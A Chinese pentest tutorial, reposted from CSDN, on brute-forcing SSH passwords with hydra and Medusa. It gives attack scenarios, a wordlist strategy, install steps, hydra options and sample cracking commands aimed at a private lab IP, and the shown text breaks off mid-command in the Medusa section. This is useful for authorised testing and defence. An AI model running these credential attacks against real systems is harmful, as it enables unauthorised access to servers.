Linux SSH密码暴力破解技术及攻击实战 - Go语言中文社区

Linux SSH密码暴力破解技术及攻击实战


对于 Linux 操作系统来说,一般通过 VNC、Teamviewer 和 SSH 等工具来进行远程管理,SSH 是 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH  为建立在应用层基础上的安全协议。


SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH 客户端适用于多种平台,几乎所有 UNIX 平台—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台都可运行 SSH。Kali Linux 渗透测试平台默认配置 SSH 服务。SSH 进行服务器远程管理,仅仅需要知道服务器的IP地址、端口、管理账号和密码,即可进行服务器的管理,网络安全遵循木桶原理,只要通过 SSH 撕开一个口子,对渗透人员来时这将是一个新的世界。


本文对目前流行的 SSH 密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。


一、SSH密码暴力破解应用场景和思路  


1. 应用场景

(1)通过 Structs 等远程命令执行获取了 root 权限。

(2)通过 webshell 提权获取了 root 权限

(3)通过本地文件包含漏洞,可以读取 linux 本地所有文件。

(4)获取了网络入口权限,可以对内网计算机进行访问。

(5)外网开启了 SSH 端口(默认或者修改了端口),可以进行SSH访问。


在前面的这些场景中,可以获取 shadow 文件,对其进行暴力破解,以获取这些账号的密码,但在另外的一些场景中,无任何漏洞可用,这个时候就需要对 SSH 账号进行暴力破解。


2. 思路

(1)对 root 账号进行暴力破解

(2)使用中国姓名 top1000 作为用户名进行暴力破解

(3)使用 top 10000 password 字典进行密码破解

(4)利用掌握信息进行社工信息整理并生成字典暴力破解

(5)信息的综合利用以及循环利用



二、使用 hydra 暴力破解 SSH 密码

hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大。在网络安全渗透过程中是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。


1. 简介

hydra 是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录,除了命令行下的hydra外,还提供了hydragtk版本(有图形界面的hydra),官网网站:http://www.thc.org/thc-hydra  ,目前最新版本为7.6下载地址:http://www.thc.org/releases/hydra-7.6.tar.gz  ,它可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP 等类型密码。


2. 安装

(1)Debian 和 Ubuntu 安装

    如果是 Debian 和 Ubuntu 发行版,源里自带 hydra,直接用 apt-get 在线安装:

1
sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra

    

  Redhat/Fedora 发行版的下载源码包编译安装,先安装相关依赖包:

1
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel


(2)centos 安装

1
2
3
4
5
# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install


3. 使用 hydra

BT5 和 kali 都默认安装了 hydra,在 kali 中单击“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打开 hydra。在 centos 终端中输入命令 /usr/local/bin/hydra 即可打开该暴力破解工具,除此之外还可以通过 hydra-wizard.sh 命令进行向导式设置进行密码破解,如图1所示。


1.jpg

图1:使用 hydra-wizard.sh 进行密码破解


如果不安装 libssh,运行 hydra 破解账号时会出现错误,如图 2 所示,显示错误提示信息:[ERROR] Compiled without LIBSSH v0.4.x support, module is not available! 在 centos 下依次运行以下命令即可解决:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
cd /test/ssh/hydra-7.6  (此为下载hydar解压的目录)
make clean
./configure
make
make install


2.jpg

图2:出现 libssh 模块缺少错误


4. hydra 参数详细说明

1
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-l LOGIN 指定破解的用户名称,对特定用户破解。
-L FILE 从文件中加载用户名进行破解。
-p PASS小写p指定密码破解,少用,一般是采用密码字典。
-P FILE 大写字母P,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-t TASKS 同时运行的连接的线程数,每一台主机默认为16。
-M FILE 指定服务器目标列表文件一行一条
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-v / -V 显示详细过程。
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-U       服务模块使用细节
-h       更多的命令行选项(完整的帮助)
server    目标服务器名称或者IP(使用这个或-M选项)
service   指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT       一些服务模块支持额外的输入(-U用于模块的帮助)


5. 破解 SSH 账号

破解 SSH 账号有两种方式,一种是指定账号破解,一种是指定用户列表破解。详细命令如下:


(1)hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

    例如输入命令“hydra -l root  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”对IP地址为“192.168.44.139”的 root 账号密码进行破解,如图3所示,破解成功后显示其详细信息。

“hydra -l root  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh ”将扫描结果保存在 save.log 文件中,打开该文件可以看到成功破解的结果,如图4所示。


3.jpg 

图3:破解 SSH 账号


4.jpg

图4:查看破解日志


三、使用 Medusa 暴力破解 SSH 密码


1. Medusa 简介

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。 Medusa 是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP

(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html  。目前最新版本2.2,美中不足的是软件从2015年后未进行更新,kali默认自带该软件,软件下载地址:

https://github.com/jmk-foofus/medusa 

https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz 


2. 安装 medusa

(1)git 克隆安装

1
git clone https://github.com/jmk-foofus/medusa.git


(2)手动编译和安装 medusa

1
2
3
./configu
版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_34056162/article/details/89870778
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。
  • 发表于 2021-05-17 21:44:12
  • 阅读 ( 1336 )
  • 分类:Linux

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢